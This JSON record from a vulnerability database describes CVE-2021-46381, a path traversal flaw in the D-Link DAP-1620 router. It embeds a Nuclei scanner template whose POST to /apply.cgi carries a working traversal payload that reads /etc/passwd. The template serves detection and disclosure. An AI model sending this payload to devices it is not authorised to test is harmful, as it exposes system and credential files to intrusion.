{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-46381/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-46381/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-46381/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-46381/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-46381/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-46381"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-46381"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-46381.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-46381\n\ninfo:\n  name: D-Link DAP-1620 - Local File Inclusion\n  author: 0x_Akoko\n  severity: high\n  description: D-Link DAP-1620 is susceptible to local file Inclusion due to path traversal that can  lead to unauthorized internal files reading [/etc/passwd] and [/etc/shadow].\n  impact: |\n    An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the device or network.\n  remediation: |\n    Apply the latest firmware update provided by D-Link to fix the local file inclusion vulnerability.\n  reference:\n    - https://drive.google.com/drive/folders/19OP09msw8l7CJ622nkvnvnt7EKun1eCG?usp=sharing\n    - https://www.dlink.com/en/security-bulletin/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-46381\n    - http://packetstormsecurity.com/files/167070/DLINK-DAP-1620-A1-1.01-Directory-Traversal.html\n    - https://github.com/SYRTI/POC_to_review\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-46381\n    cwe-id: CWE-22\n    epss-score: 0.58882\n    epss-percentile: 0.99079\n    cpe: cpe:2.3:h:dlink:dap-1620:-:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: dlink\n    product: dap-1620\n  tags: cve2021,cve,lfi,router,packetstorm,dlink,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/apply.cgi\"\n\n    body: \"action=do_graph_auth&graph_code=94102&html_response_message=just_login&html_response_page=../../../../../../../../../../../../../../etc/passwd&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass\"\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022100c23986d66063db4382fb5b48654ca804a4a6a8d6f6cf3748f22785e93fb4364102205c5e27479c1e5ea504abda93cbe42089de5283fb7f471257c97f7cbd318b078e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-46381"
}